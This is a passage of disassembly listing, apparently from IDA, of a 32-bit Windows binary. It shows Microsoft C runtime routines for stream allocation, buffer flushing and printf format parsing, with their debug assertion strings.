		jnz	short loc_427C1D
		mov	edx, [ebp+var_4]
		mov	eax, dword_4F3AD4
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_422460
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4F3AD4
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_427C0D
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4224D0
		add	esp, 8
		jmp	loc_427B80
; ---------------------------------------------------------------------------

loc_427C0D:				; CODE XREF: sub_427B60+8Dj
		mov	edx, [ebp+var_4]
		mov	eax, dword_4F3AD4
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx
		jmp	short loc_427C8E
; ---------------------------------------------------------------------------

loc_427C1D:				; CODE XREF: sub_427B60+5Dj
		jmp	short loc_427C89
; ---------------------------------------------------------------------------

loc_427C1F:				; CODE XREF: sub_427B60+44j
		push	55h
		push	offset aStream_c ; "stream.c"
		push	2
		push	38h
		call	sub_41BE70
		add	esp, 10h
		mov	edx, [ebp+var_4]
		mov	ecx, dword_4F3AD4
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+var_4]
		mov	eax, dword_4F3AD4
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_427C87
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	dword_4F54A4	; InitializeCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	dword_4F53A8	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		mov	[ebp+var_8], eax

loc_427C87:				; CODE XREF: sub_427B60+EAj
		jmp	short loc_427C8E
; ---------------------------------------------------------------------------

loc_427C89:				; CODE XREF: sub_427B60:loc_427C1Dj
		jmp	loc_427B80
; ---------------------------------------------------------------------------

loc_427C8E:				; CODE XREF: sub_427B60+32j
					; sub_427B60+BBj ...
		cmp	[ebp+var_8], 0
		jz	short loc_427CCF
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+10h], 0FFFFFFFFh

loc_427CCF:				; CODE XREF: sub_427B60+132j
		push	2
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_427B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427CE0	proc near		; CODE XREF: sub_41EA60+E5p
					; sub_41EC30+E4p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi

loc_427CE9:				; CODE XREF: sub_427CE0+31j
		cmp	[ebp+arg_4], 0
		jnz	short loc_427D0D
		push	offset dword_43C514
		push	0
		push	69h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_427D0D
		int	3		; Trap to Debugger

loc_427D0D:				; CODE XREF: sub_427CE0+Dj
					; sub_427CE0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_427CE9
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 82h
		test	edx, edx
		jz	short loc_427D3F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_427D55

loc_427D3F:				; CODE XREF: sub_427CE0+50j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_427F4D
; ---------------------------------------------------------------------------

loc_427D55:				; CODE XREF: sub_427CE0+5Dj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_427DAC
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 10h
		test	eax, eax
		jz	short loc_427D95
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		jmp	short loc_427DAC
; ---------------------------------------------------------------------------

loc_427D95:				; CODE XREF: sub_427CE0+97j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		or	eax, 0FFFFFFFFh
		jmp	loc_427F4D
; ---------------------------------------------------------------------------

loc_427DAC:				; CODE XREF: sub_427CE0+80j
					; sub_427CE0+B3j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jnz	short loc_427E1F
		cmp	[ebp+var_8], offset dword_451928
		jz	short loc_427E03
		cmp	[ebp+var_8], offset dword_451948
		jnz	short loc_427E13

loc_427E03:				; CODE XREF: sub_427CE0+118j
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_431A40
		add	esp, 4
		test	eax, eax
		jnz	short loc_427E1F

loc_427E13:				; CODE XREF: sub_427CE0+121j
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_4313D0
		add	esp, 4

loc_427E1F:				; CODE XREF: sub_427CE0+10Fj
					; sub_427CE0+131j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	loc_427F0B

loc_427E33:				; CODE XREF: sub_427CE0+187j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		test	edx, edx
		jge	short loc_427E63
		push	offset aInconsistentIo ; "(\"inconsistent IOB fields\",	stream->_pt"...
		push	0
		push	0A0h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_427E63
		int	3		; Trap to Debugger

loc_427E63:				; CODE XREF: sub_427CE0+160j
					; sub_427CE0+180j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_427E33
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx]
		sub	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4], edx
		cmp	[ebp+var_4], 0
		jle	short loc_427EB6
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42E940
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	short loc_427EFE
; ---------------------------------------------------------------------------

loc_427EB6:				; CODE XREF: sub_427CE0+1B8j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_427ED9
		mov	edx, [ebp+var_10]
		sar	edx, 5
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		add	ecx, eax
		mov	[ebp+var_14], ecx
		jmp	short loc_427EE0
; ---------------------------------------------------------------------------

loc_427ED9:				; CODE XREF: sub_427CE0+1DAj
		mov	[ebp+var_14], offset dword_454450

loc_427EE0:				; CODE XREF: sub_427CE0+1F7j
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx+4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_427EFE
		push	2
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42E4E0
		add	esp, 0Ch

loc_427EFE:				; CODE XREF: sub_427CE0+1D4j
					; sub_427CE0+20Cj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_427F29
; ---------------------------------------------------------------------------

loc_427F0B:				; CODE XREF: sub_427CE0+14Dj
		mov	[ebp+var_4], 1
		mov	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42E940
		add	esp, 0Ch
		mov	[ebp+var_C], eax

loc_427F29:				; CODE XREF: sub_427CE0+229j
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jz	short loc_427F45
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_427F4D
; ---------------------------------------------------------------------------

loc_427F45:				; CODE XREF: sub_427CE0+24Fj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh

loc_427F4D:				; CODE XREF: sub_427CE0+70j
					; sub_427CE0+C7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_427CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427F60	proc near		; CODE XREF: sub_41EA60+9Ap
					; sub_41EC30+99p ...

var_2A6		= word ptr -2A6h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= byte ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= word ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23F		= byte ptr -23Fh
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_24], 0
		mov	[ebp+var_22C], 0
		mov	[ebp+var_18], 0

loc_427F84:				; CODE XREF: sub_427F60:loc_428B72j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_28], cl
		movsx	edx, byte ptr [ebp+var_28]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_428B77
		cmp	[ebp+var_22C], 0
		jl	loc_428B77
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 20h
		jl	short loc_427FD6
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 78h
		jg	short loc_427FD6
		movsx	eax, byte ptr [ebp+var_28]
		movsx	ecx, byte ptr [eax+43D150h]
		and	ecx, 0Fh
		mov	[ebp+var_290], ecx
		jmp	short loc_427FE0
; ---------------------------------------------------------------------------

loc_427FD6:				; CODE XREF: sub_427F60+55j
					; sub_427F60+5Ej
		mov	[ebp+var_290], 0

loc_427FE0:				; CODE XREF: sub_427F60+74j
		mov	edx, [ebp+var_290]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		movsx	edx, byte_43D170[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		mov	[ebp+var_294], eax
		cmp	[ebp+var_294], 7
		ja	loc_428B72
		mov	ecx, [ebp+var_294]
		jmp	off_428B84[ecx*4]

loc_428020:				; CODE XREF: sub_427F60+332j
					; DATA XREF: .packed:off_428B84o
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42809D
		lea	edx, [ebp+var_22C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		movsx	ecx, byte ptr [ebp+var_28]
		push	ecx
		call	sub_428C90
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_28], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx

loc_42806E:				; CODE XREF: sub_427F60+13Bj
		movsx	edx, byte ptr [ebp+var_28]
		test	edx, edx
		jnz	short loc_428097
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0
		push	186h
		push	offset aOutput_c ; "output.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_428097
		int	3		; Trap to Debugger

loc_428097:				; CODE XREF: sub_427F60+114j
					; sub_427F60+134j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42806E

loc_42809D:				; CODE XREF: sub_427F60+E3j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		call	sub_428C90
		add	esp, 0Ch
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_4280BA:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428B88o
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_244], edx
		mov	eax, [ebp+var_244]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0
		mov	[ebp+var_234], 0FFFFFFFFh
		mov	[ebp+var_1C], 0
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_4280FC:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428B8Co
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_298], ecx
		mov	edx, [ebp+var_298]
		sub	edx, 20h
		mov	[ebp+var_298], edx
		cmp	[ebp+var_298], 10h
		ja	short loc_428166
		mov	ecx, [ebp+var_298]
		xor	eax, eax
		mov	al, byte_428BBC[ecx]
		jmp	off_428BA4[eax*4]

loc_428133:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428BB0o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_428166
; ---------------------------------------------------------------------------

loc_42813E:				; CODE XREF: sub_427F60+B9j
					; sub_427F60+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_428166
; ---------------------------------------------------------------------------

loc_428148:				; CODE XREF: sub_427F60+B9j
					; sub_427F60+1CCj
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_428166
; ---------------------------------------------------------------------------

loc_428153:				; CODE XREF: sub_427F60+B9j
					; sub_427F60+1CCj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_428166
; ---------------------------------------------------------------------------

loc_42815E:				; CODE XREF: sub_427F60+B9j
					; sub_427F60+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax

loc_428166:				; CODE XREF: sub_427F60+B9j
					; sub_427F60+1BCj ...
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_42816B:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428B90o
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 2Ah
		jnz	short loc_4281A7
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_428DA0
		add	esp, 4
		mov	[ebp+var_244], eax
		cmp	[ebp+var_244], 0
		jge	short loc_4281A5
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_244]
		neg	ecx
		mov	[ebp+var_244], ecx

loc_4281A5:				; CODE XREF: sub_427F60+22Dj
		jmp	short loc_4281BE
; ---------------------------------------------------------------------------

loc_4281A7:				; CODE XREF: sub_427F60+212j
		mov	edx, [ebp+var_244]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_28]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_244], ecx

loc_4281BE:				; CODE XREF: sub_427F60:loc_4281A5j
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_4281C3:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428B94o
		mov	[ebp+var_234], 0
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_4281D2:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428B98o
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 2Ah
		jnz	short loc_428202
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_428DA0
		add	esp, 4
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_428200
		mov	[ebp+var_234], 0FFFFFFFFh

loc_428200:				; CODE XREF: sub_427F60+294j
		jmp	short loc_428219
; ---------------------------------------------------------------------------

loc_428202:				; CODE XREF: sub_427F60+279j
		mov	ecx, [ebp+var_234]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_28]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_234], eax

loc_428219:				; CODE XREF: sub_427F60:loc_428200j
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_42821E:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428B9Co
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 49h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 2Eh
		ja	short loc_4282AC
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, byte_428BE1[ecx]
		jmp	off_428BCD[eax*4]

loc_428255:				; DATA XREF: .packed:00428BD5o
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_4282AC
; ---------------------------------------------------------------------------

loc_428260:				; CODE XREF: sub_427F60+2EEj
					; DATA XREF: .packed:off_428BCDo
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_42828B
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_42828B
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_428297
; ---------------------------------------------------------------------------

loc_42828B:				; CODE XREF: sub_427F60+309j
					; sub_427F60+315j
		mov	[ebp+var_18], 0
		jmp	loc_428020
; ---------------------------------------------------------------------------

loc_428297:				; CODE XREF: sub_427F60+329j
		jmp	short loc_4282AC
; ---------------------------------------------------------------------------

loc_428299:				; CODE XREF: sub_427F60+2EEj
					; DATA XREF: .packed:00428BD1o
		mov	eax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_4282AC
; ---------------------------------------------------------------------------

loc_4282A3:				; CODE XREF: sub_427F60+2EEj
					; DATA XREF: .packed:00428BD9o
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx

loc_4282AC:				; CODE XREF: sub_427F60+2DEj
					; sub_427F60+2EEj ...
		jmp	loc_428B72
; ---------------------------------------------------------------------------

loc_4282B1:				; CODE XREF: sub_427F60+B9j
					; DATA XREF: .packed:00428BA0o
		movsx	edx, byte ptr [ebp+var_28]
		mov	[ebp+var_2A0], edx
		mov	eax, [ebp+var_2A0]
		sub	eax, 43h
		mov	[ebp+var_2A0], eax
		cmp	[ebp+var_2A0], 35h
		ja	loc_428997
		mov	edx, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, byte_428C4C[edx]
		jmp	off_428C10[ecx*4]

loc_4282EC:				; DATA XREF: .packed:off_428C10o
		mov	eax, [ebp+var_4]
		and	eax, 830h
		test	eax, eax
		jnz	short loc_428301
		mov	ecx, [ebp+var_4]
		or	ch, 8
		mov	[ebp+var_4], ecx

loc_428301:				; CODE XREF: sub_427F60+385j
					; sub_427F60+396j
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		and	edx, 810h
		test	edx, edx
		jz	short loc_428347
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_428DE0
		add	esp, 4
		mov	[ebp+var_14], ax
		mov	cx, [ebp+var_14]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		call	sub_431A80
		add	esp, 8
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jge	short loc_428345
		mov	[ebp+var_23C], 1

loc_428345:				; CODE XREF: sub_427F60+3D9j
		jmp	short loc_42836D
; ---------------------------------------------------------------------------

loc_428347:				; CODE XREF: sub_427F60+3ACj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_428DA0
		add	esp, 4
		mov	[ebp+var_248], ax
		mov	cl, byte ptr [ebp+var_248]
		mov	[ebp+var_228], cl
		mov	[ebp+var_24], 1

loc_42836D:				; CODE XREF: sub_427F60:loc_428345j
		lea	edx, [ebp+var_228]
		mov	[ebp+var_20], edx
		jmp	loc_428997
; ---------------------------------------------------------------------------

loc_42837B:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C20o
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_428DA0
		add	esp, 4
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0
		jz	short loc_4283A2
		mov	ecx, [ebp+var_24C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4283BC

loc_4283A2:				; CODE XREF: sub_427F60+434j
		mov	edx, off_453EBC
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	[ebp+var_24], eax
		jmp	short loc_42840B
; ---------------------------------------------------------------------------

loc_4283BC:				; CODE XREF: sub_427F60+440j
		mov	ecx, [ebp+var_4]
		and	ecx, 800h
		test	ecx, ecx
		jz	short loc_4283EC
		mov	edx, [ebp+var_24C]
		mov	eax, [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_24C]
		movsx	edx, word ptr [ecx]
		shr	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42840B
; ---------------------------------------------------------------------------

loc_4283EC:				; CODE XREF: sub_427F60+467j
		mov	[ebp+var_1C], 0
		mov	eax, [ebp+var_24C]
		mov	ecx, [eax+4]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_24C]
		movsx	eax, word ptr [edx]
		mov	[ebp+var_24], eax

loc_42840B:				; CODE XREF: sub_427F60+45Aj
					; sub_427F60+48Aj
		jmp	loc_428997
; ---------------------------------------------------------------------------

loc_428410:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C18o
		mov	ecx, [ebp+var_4]
		and	ecx, 830h
		test	ecx, ecx
		jnz	short loc_428426
		mov	edx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], edx

loc_428426:				; CODE XREF: sub_427F60+385j
					; sub_427F60+4BBj
					; DATA XREF: ...
		cmp	[ebp+var_234], 0FFFFFFFFh
		jnz	short loc_42843B
		mov	[ebp+var_2A4], 7FFFFFFFh
		jmp	short loc_428447
; ---------------------------------------------------------------------------

loc_42843B:				; CODE XREF: sub_427F60+4CDj
		mov	eax, [ebp+var_234]
		mov	[ebp+var_2A4], eax

loc_428447:				; CODE XREF: sub_427F60+4D9j
		mov	ecx, [ebp+var_2A4]
		mov	[ebp+var_258], ecx
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_428DA0
		add	esp, 4
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		and	eax, 810h
		test	eax, eax
		jz	short loc_4284D6
		cmp	[ebp+var_20], 0
		jnz	short loc_42847D
		mov	ecx, off_453EC0
		mov	[ebp+var_20], ecx

loc_42847D:				; CODE XREF: sub_427F60+512j
		mov	[ebp+var_1C], 1
		mov	edx, [ebp+var_20]
		mov	[ebp+var_254], edx

loc_42848D:				; CODE XREF: sub_427F60+564j
		mov	eax, [ebp+var_258]
		mov	ecx, [ebp+var_258]
		sub	ecx, 1
		mov	[ebp+var_258], ecx
		test	eax, eax
		jz	short loc_4284C6
		mov	edx, [ebp+var_254]
		xor	eax, eax
		mov	ax, [edx]
		test	eax, eax
		jz	short loc_4284C6
		mov	ecx, [ebp+var_254]
		add	ecx, 2
		mov	[ebp+var_254], ecx
		jmp	short loc_42848D
; ---------------------------------------------------------------------------

loc_4284C6:				; CODE XREF: sub_427F60+544j
					; sub_427F60+553j
		mov	edx, [ebp+var_254]
		sub	edx, [ebp+var_20]
		sar	edx, 1
		mov	[ebp+var_24], edx
		jmp	short loc_428530
; ---------------------------------------------------------------------------

loc_4284D6:				; CODE XREF: sub_427F60+50Cj
		cmp	[ebp+var_20], 0
		jnz	short loc_4284E4
		mov	eax, off_453EBC
		mov	[ebp+var_20], eax

loc_4284E4:				; CODE XREF: sub_427F60+57Aj
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_250], ecx

loc_4284ED:				; CODE XREF: sub_427F60+5C2j
		mov	edx, [ebp+var_258]
		mov	eax, [ebp+var_258]
		sub	eax, 1
		mov	[ebp+var_258], eax
		test	edx, edx
		jz	short loc_428524
		mov	ecx, [ebp+var_250]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_428524
		mov	eax, [ebp+var_250]
		add	eax, 1
		mov	[ebp+var_250], eax
		jmp	short loc_4284ED
; ---------------------------------------------------------------------------

loc_428524:				; CODE XREF: sub_427F60+5A4j
					; sub_427F60+5B1j
		mov	ecx, [ebp+var_250]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx

loc_428530:				; CODE XREF: sub_427F60+574j
		jmp	loc_428997
; ---------------------------------------------------------------------------

loc_428535:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C30o
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_428DA0
		add	esp, 4
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_428563
		mov	ecx, [ebp+var_25C]
		mov	dx, word ptr [ebp+var_22C]
		mov	[ecx], dx
		jmp	short loc_428571
; ---------------------------------------------------------------------------

loc_428563:				; CODE XREF: sub_427F60+5EFj
		mov	eax, [ebp+var_25C]
		mov	ecx, [ebp+var_22C]
		mov	[eax], ecx

loc_428571:				; CODE XREF: sub_427F60+601j
		mov	[ebp+var_23C], 1
		jmp	loc_428997
; ---------------------------------------------------------------------------

loc_428580:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C14o
		mov	[ebp+var_8], 1
		mov	dl, byte ptr [ebp+var_28]
		add	dl, 20h
		mov	byte ptr [ebp+var_28], dl

loc_428590:				; CODE XREF: sub_427F60+385j
					; DATA XREF: .packed:00428C2Co
		mov	eax, [ebp+var_4]
		or	al, 40h
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_228]
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_234], 0
		jge	short loc_4285B6
